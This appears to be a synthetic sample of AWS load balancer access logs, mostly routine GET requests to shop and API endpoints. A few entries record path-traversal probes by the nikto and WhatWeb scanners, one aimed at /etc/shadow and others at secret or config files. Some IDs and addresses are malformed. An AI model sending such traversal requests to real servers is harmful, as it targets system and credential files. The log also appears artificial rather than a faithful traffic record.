TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bf98-f9a5216f77a7475fa18578b6" "prod-api-alb.example.com" "-" 6 2024-11-01T00:34:16.875878Z "forward" "-" "-" "10.0.167.107:443" "200" "-" "-" -https 2024-11-01T00:34:17.518537Z prod-web-alb 233.228.95.64:24783 10.0.250.181:443 0.055691 0.238924 0.040103 200 200 677 9195 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf99-0618775065d54b9fbc83bcf4" "prod-web-alb.example.com" "-" 8 2024-11-01T00:34:17.518537Z "forward" "-" "-" "10.0.250.181:443" "200" "-" "-" -https 2024-11-01T00:34:19.317399Z staging-alb 85.17.40.32:42582 102.111.250.104:80 0.100882 0.726720 0.140408 200 200 455 1518 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bf9b-4aa8d977cbcf4a21829230c5" "staging-alb.example.com" "-" 3 2024-11-01T00:34:19.317399Z "forward" "-" "-" "102.111.250.104:80" "200" "-" "-" -https 2024-11-01T00:34:20.784214Z prod-api-alb 146.46.45.166:32496 10.0.50.68:443 0.033526 0.389147 0.000512 404 404 353 3600 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bf9c-a9fd592b0f594b9390f91d0c" "prod-api-alb.example.com" "-" 8 2024-11-01T00:34:20.784214Z "forward" "-" "-" "10.0.50.68:443" "404" "-" "-" -https 2024-11-01T00:34:21.830364Z prod-web-alb 124.38.67.75:48489 10.0.253.14:443 0.048972 0.174144 0.048869 404 404 376 7328 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bf9d-aa8da76c162f4b4ab810bf9f" "prod-web-alb.example.com" "-" 10 2024-11-01T00:34:21.830364Z "forward" "-" "-" "10.0.253.14:443" "404" "-" "-" -https 2024-11-01T00:34:23.754736Z prod-web-alb 226.40.220.29:16230 10.0.209.208:443 0.075569 0.237350 0.000232 301 301 690 6624 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bf9f-a7d99c24a17840aba4a66e25" "prod-web-alb.example.com" "-" 8 2024-11-01T00:34:23.754736Z "forward" "-" "-" "10.0.209.208:443" "301" "-" "-" -https 2024-11-01T00:34:25.377091Z prod-web-alb 204.138.171.164:62224 10.0.239.206:443 0.070124 0.328948 0.054471 404 404 257 6372 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfa1-fcb47acffef445ae93ae53bf" "prod-web-alb.example.com" "-" 0 2024-11-01T00:34:25.377091Z "forward" "-" "-" "10.0.239.206:443" "404" "-" "-" -https 2024-11-01T00:34:26.627059Z prod-api-alb 243.235.240.80:58646 10.0.176.239:443 0.075528 0.254891 0.096964 404 404 305 993 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfa2-df09155e4c17495e80267c77" "prod-api-alb.example.com" "-" 5 2024-11-01T00:34:26.627059Z "forward" "-" "-" "10.0.176.239:443" "404" "-" "-" -https 2024-11-01T00:34:28.441588Z staging-alb 213.216.253.22:37632 150.56.203.202:443 0.099386 0.545291 0.122254 404 404 13 4106 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfa4-afd1eef0c451482fa686e543" "staging-alb.example.com" "-" 4 2024-11-01T00:34:28.441588Z "forward" "-" "-" "150.56.203.202:443" "404" "-" "-" -https 2024-11-01T00:34:29.655035Z prod-web-alb 40.99.180.219:46214 10.0.223.41:443 0.014322 0.150215 0.037682 200 200 512 6375 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfa5-0af788e725874b038cb9fa2b" "prod-web-alb.example.com" "-" 10 2024-11-01T00:34:29.655035Z "forward" "-" "-" "10.0.223.41:443" "200" "-" "-" -https 2024-11-01T00:34:30.335567Z prod-api-alb 76.208.16.79:31284 10.0.236.71:443 0.013461 0.020119 0.008745 200 200 678 7946 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfa6-2fea6e6da00f42a5973df394" "prod-api-alb.example.com" "-" 8 2024-11-01T00:34:30.335567Z "forward" "-" "-" "10.0.236.71:443" "200" "-" "-" -https 2024-11-01T00:34:31.170071Z prod-web-alb 79.133.113.55:44736 10.0.201.167:443 0.080821 0.213454 0.008854 302 302 350 1869 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfa7-2cf6a0219816461aa092e21c" "prod-web-alb.example.com" "-" 4 2024-11-01T00:34:31.170071Z "forward" "-" "-" "10.0.201.167:443" "302" "-" "-" -http 2024-11-01T00:34:32.941307Z staging-alb 202.145.239.88:20201 225.60.199.63:8080 0.111817 0.431748 0.036516 200 200 916 2518 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bfa8-9347b909af9646f683d9b848" "staging-alb.example.com" "-" 4 2024-11-01T00:34:32.941307Z "forward" "-" "-" "225.60.199.63:8080" "200" "-" "-" -https 2024-11-01T00:34:34.590629Z prod-web-alb 153.76.169.8:52629 10.0.27.50:443 0.060106 0.376918 0.053041 302 302 841 2095 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfaa-a4ea8e20ba0b441aa426809d" "prod-web-alb.example.com" "-" 6 2024-11-01T00:34:34.590629Z "forward" "-" "-" "10.0.27.50:443" "302" "-" "-" -https 2024-11-01T00:34:34.920801Z prod-api-alb 49.195.199.138:25350 10.0.105.37:443 0.059304 0.485394 0.016809 200 200 370 7162 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfaa-f71a031abb3a4aad8c4a2a46" "prod-api-alb.example.com" "-" 1 2024-11-01T00:34:34.920801Z "forward" "-" "-" "10.0.105.37:443" "200" "-" "-" -https 2024-11-01T00:34:36.888638Z prod-web-alb 81.148.87.148:53362 10.0.143.246:443 0.032273 0.360453 0.010708 301 301 698 7100 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfac-92086822ae58439db0dad3ac" "prod-web-alb.example.com" "-" 9 2024-11-01T00:34:36.888638Z "forward" "-" "-" "10.0.143.246:443" "301" "-" "-" -https 2024-11-01T00:34:37.189076Z staging-alb 51.27.205.145:43860 11.150.180.120:8080 0.136592 0.266010 0.028752 302 302 457 13976 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfad-b53cb57b8572462384b68845" "staging-alb.example.com" "-" 0 2024-11-01T00:34:37.189076Z "forward" "-" "-" "11.150.180.120:8080" "302" "-" "-" -https 2024-11-01T00:34:37.710792Z prod-web-alb 112.225.51.112:26727 10.0.93.211:443 0.095543 0.444980 0.013331 301 301 497 9589 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfad-36f83434fc1c4166af0a2fff" "prod-web-alb.example.com" "-" 7 2024-11-01T00:34:37.710792Z "forward" "-" "-" "10.0.93.211:443" "301" "-" "-" -https 2024-11-01T00:34:37.995508Z prod-web-alb 197.7.166.67:36354 10.0.31.251:443 0.079534 0.216188 0.024281 301 301 691 14544 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfad-c1fff5c4a4964dadbf2babe1" "prod-web-alb.example.com" "-" 8 2024-11-01T00:34:37.995508Z "forward" "-" "-" "10.0.31.251:443" "301" "-" "-" -http 2024-11-01T00:34:38.998707Z staging-alb 226.75.188.75:28231 198.145.139.21:443 0.140782 0.509087 0.027054 301 301 677 1456 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfae-3c22007ab54e48bda19d6c27" "staging-alb.example.com" "-" 1 2024-11-01T00:34:38.998707Z "forward" "-" "-" "198.145.139.21:443" "301" "-" "-" -http 2024-11-01T00:34:39.843284Z staging-alb 211.152.185.20:26385 95.73.204.159:8080 0.032352 0.497204 0.090463 301 301 773 368 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfaf-476a554981b746c9937830c3" "staging-alb.example.com" "-" 3 2024-11-01T00:34:39.843284Z "forward" "-" "-" "95.73.204.159:8080" "301" "-" "-" -https 2024-11-01T00:34:40.586311Z prod-web-alb 200.97.35.44:53072 10.0.174.52:443 0.033148 0.134087 0.055998 301 301 145 9343 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfb0-63d2d02a3c204ca7bf0a4006" "prod-web-alb.example.com" "-" 0 2024-11-01T00:34:40.586311Z "forward" "-" "-" "10.0.174.52:443" "301" "-" "-" -https 2024-11-01T00:34:41.974174Z staging-alb 44.186.104.129:31047 36.48.31.151:443 0.054800 0.390249 0.141714 301 301 324 2048 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bfb1-8aecb572c52349c39a6ba112" "staging-alb.example.com" "-" 8 2024-11-01T00:34:41.974174Z "forward" "-" "-" "36.48.31.151:443" "301" "-" "-" -https 2024-11-01T00:34:43.787772Z prod-api-alb 45.155.205.19:28413 10.0.190.229:443 0.000455 0.051371 0.008174 403 403 523 11833 "GET /static/../../secret HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfb3-6dc5bf07032f42779f624129" "-" "-" 10 2024-11-01T00:34:43.787772Z "forward" "-" "-" "10.0.190.229:443" "403" "-" "-" -https 2024-11-01T00:34:44.049749Z prod-api-alb 79.60.238.33:25258 10.0.184.222:443 0.001997 0.088122 0.085689 200 200 240 13894 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfb4-85d3d5391a5d47169470cee5" "prod-api-alb.example.com" "-" 6 2024-11-01T00:34:44.049749Z "forward" "-" "-" "10.0.184.222:443" "200" "-" "-" -https 2024-11-01T00:34:45.609434Z prod-web-alb 163.201.136.156:13603 10.0.176.227:443 0.024288 0.371618 0.050558 200 200 717 10012 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfb5-3242d718449243f794236233" "prod-web-alb.example.com" "-" 1 2024-11-01T00:34:45.609434Z "forward" "-" "-" "10.0.176.227:443" "200" "-" "-" -https 2024-11-01T00:34:47.595591Z prod-api-alb 166.164.8.117:29328 10.0.227.141:443 0.027305 0.427199 0.097292 200 200 966 5441 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfb7-21f466737ec647f8ab24805a" "prod-api-alb.example.com" "-" 2 2024-11-01T00:34:47.595591Z "forward" "-" "-" "10.0.227.141:443" "200" "-" "-" -https 2024-11-01T00:34:48.367321Z prod-api-alb 184.47.137.142:40222 10.0.237.200:443 0.028950 0.055551 0.035170 200 200 379 9373 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfb8-0ae8ccf2a4de4292bbc5699d" "prod-api-alb.example.com" "-" 8 2024-11-01T00:34:48.367321Z "forward" "-" "-" "10.0.237.200:443" "200" "-" "-" -https 2024-11-01T00:34:49.397005Z prod-api-alb 137.94.57.17:41126 10.0.83.111:443 0.067038 0.011647 0.078980 301 301 469 11859 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfb9-fa034dd8c41c4f49899ac9d6" "prod-api-alb.example.com" "-" 4 2024-11-01T00:34:49.397005Z "forward" "-" "-" "10.0.83.111:443" "301" "-" "-" -http 2024-11-01T00:34:50.717188Z staging-alb 121.131.86.27:34344 243.67.252.156:80 0.121705 0.010780 0.038233 200 200 242 4455 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfba-b5df2980a62048c0a11814ac" "staging-alb.example.com" "-" 0 2024-11-01T00:34:50.717188Z "forward" "-" "-" "243.67.252.156:80" "200" "-" "-" -https 2024-11-01T00:34:51.778704Z prod-api-alb 27.184.104.132:62827 10.0.65.205:443 0.056084 0.437180 0.090992 302 302 537 1506 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfbb-c106bbe5a9db403aa0bb992e" "prod-api-alb.example.com" "-" 2 2024-11-01T00:34:51.778704Z "forward" "-" "-" "10.0.65.205:443" "302" "-" "-" -https 2024-11-01T00:34:52.582040Z staging-alb 185.181.51.36:26204 227.38.23.200:443 0.109856 0.489152 0.079941 404 404 920 4152 "GET /images/../../../../etc/shadow HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bfbc-be7172148e6f4674922449d3" "-" "-" 6 2024-11-01T00:34:52.582040Z "forward" "-" "-" "227.38.23.200:443" "404" "-" "-" -https 2024-11-01T00:34:52.964057Z staging-alb 190.253.123.58:48119 151.187.160.121:8080 0.053626 0.317316 0.100632 200 200 882 7508 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bfbc-14f7c54a47194838838921b9" "staging-alb.example.com" "-" 0 2024-11-01T00:34:52.964057Z "forward" "-" "-" "151.187.160.121:8080" "200" "-" "-" -https 2024-11-01T00:34:53.329089Z prod-api-alb 119.166.67.39:54391 10.0.154.231:443 0.057340 0.369843 0.022325 200 200 197 3918 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfbd-7431bac2c83942389d330cf5" "prod-api-alb.example.com" "-" 10 2024-11-01T00:34:53.329089Z "forward" "-" "-" "10.0.154.231:443" "200" "-" "-" -http 2024-11-01T00:34:54.371400Z staging-alb 139.240.170.20:27443 70.225.196.196:443 0.045123 0.113089 0.138444 404 404 64 12760 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bfbe-f90bd1a68a7649cf8a1ec49b" "staging-alb.example.com" "-" 5 2024-11-01T00:34:54.371400Z "forward" "-" "-" "70.225.196.196:443" "404" "-" "-" -https 2024-11-01T00:34:55.319989Z prod-api-alb 91.233.2.24:29150 10.0.105.35:443 0.053186 0.000889 0.059255 302 302 175 11539 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfbf-37431ec626944592814d80e1" "prod-api-alb.example.com" "-" 0 2024-11-01T00:34:55.319989Z "forward" "-" "-" "10.0.105.35:443" "302" "-" "-" -http 2024-11-01T00:34:56.809567Z staging-alb 128.106.83.164:12471 206.106.33.134:443 0.104373 0.663113 0.145487 200 200 806 13894 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bfc0-4984b9ae86e24a37ab65e6b2" "staging-alb.example.com" "-" 9 2024-11-01T00:34:56.809567Z "forward" "-" "-" "206.106.33.134:443" "200" "-" "-" -https 2024-11-01T00:34:57.802338Z prod-api-alb 81.54.73.207:38595 10.0.146.129:443 0.052133 0.437548 0.043910 200 200 207 4416 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfc1-55684cda326945b180f50132" "prod-api-alb.example.com" "-" 0 2024-11-01T00:34:57.802338Z "forward" "-" "-" "10.0.146.129:443" "200" "-" "-" -https 2024-11-01T00:34:58.998894Z prod-api-alb 37.40.241.4:42363 10.0.208.182:443 0.065819 0.005477 0.012498 302 302 308 1213 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfc2-453943bb0e4f49efaf823a7b" "prod-api-alb.example.com" "-" 0 2024-11-01T00:34:58.998894Z "forward" "-" "-" "10.0.208.182:443" "302" "-" "-" -https 2024-11-01T00:35:00.499381Z prod-web-alb 159.134.110.163:10003 10.0.77.201:443 0.085302 0.048176 0.077582 200 200 652 1197 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfc4-ff926ac1040c420faaf04417" "prod-web-alb.example.com" "-" 6 2024-11-01T00:35:00.499381Z "forward" "-" "-" "10.0.77.201:443" "200" "-" "-" -https 2024-11-01T00:35:02.280646Z prod-web-alb 109.23.136.86:26047 10.0.200.35:443 0.092902 0.318332 0.022297 404 404 603 11507 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723bfc6-80e2fb866b5443429125a4d8" "prod-web-alb.example.com" "-" 5 2024-11-01T00:35:02.280646Z "forward" "-" "-" "10.0.200.35:443" "404" "-" "-" -https 2024-11-01T00:35:02.844943Z prod-api-alb 152.168.80.59:14929 10.0.166.90:443 0.012175 0.258504 0.023676 200 200 250 12563 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bfc6-ad7b0e71a478485dad94209d" "prod-api-alb.example.com" "-" 7 2024-11-01T00:35:02.844943Z "forward" "-" "-" "10.0.166.90:443" "200" "-" "-" -https 2024-11-01T00:35:03.347546Z prod-web-alb 227.72.111.197:63103 10.0.177.253:443 0.038312 0.274842 0.093383 200 200 376 8255 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfc7-c89608d3947144398990fba6" "prod-web-alb.example.com" "-" 6 2024-11-01T00:35:03.347546Z "forward" "-" "-" "10.0.177.253:443" "200" "-" "-" -http 2024-11-01T00:35:03.507955Z staging-alb 231.54.168.189:54859 65.105.146.243:80 0.024689 0.169001 0.122112 302 302 539 423 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bfc7-77f8af6361b4430f86149414" "staging-alb.example.com" "-" 8 2024-11-01T00:35:03.507955Z "forward" "-" "-" "65.105.146.243:80" "302" "-" "-" -https 2024-11-01T00:35:04.288206Z prod-api-alb 185.181.51.36:43919 10.0.130.235:443 0.020111 0.392088 0.070283 404 404 429 9298 "GET /api/../../../config HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfc8-cc14e6d025e44e50b87c67df" "-" "-" 5 2024-11-01T00:35:04.288206Z "forward" "-" "-" "10.0.130.235:443" "404" "-" "-" -https 2024-11-01T00:35:06.176708Z prod-api-alb 93.125.59.124:40170 10.0.148.221:443 0.067658 0.480267 0.027493 200 200 799 11853 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bfca-c82bb82827ae4690be1d0094" "prod-api-alb.example.com" "-" 0 2024-11-01T00:35:06.176708Z "forward" "-" "-" "10.0.148.221:443" "200" "-" "-" -https 2024-11-01T00:35:07.407773Z staging-alb 57.246.77.3:52210 203.95.59.77:443 0.071748 0.411653 0.045945 301 301 837 4331 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723bfcb-7201531505e54fa2b03315d0" "staging-alb.example.com" "-" 9 2024-11-01T00:35:07.407773Z "forward" "-" "-" "203.95.59.77:443" "301" "-" "-" -https 2024-11-01T00:35:09.096766Z prod-web-alb 47.0.161.154:14169 10.0.103.242:443 0.005450 0.277531 0.005211 200 200 504 13614 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bfcd-8b0bf2f5b8e9485ca393285c" "prod-web-alb.example.com" "-" 7 2024-11-01T00:35:09.096766Z "forward" "-" "-" "10.0.103.242:443" "200" "-" "-" -https 2024-11-01T00:35:10.569540Z prod-web-alb 54.50.122.170:39652 10.0.238.107:443 0.015498 0.200038 0.031950 200 200 365 2263 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 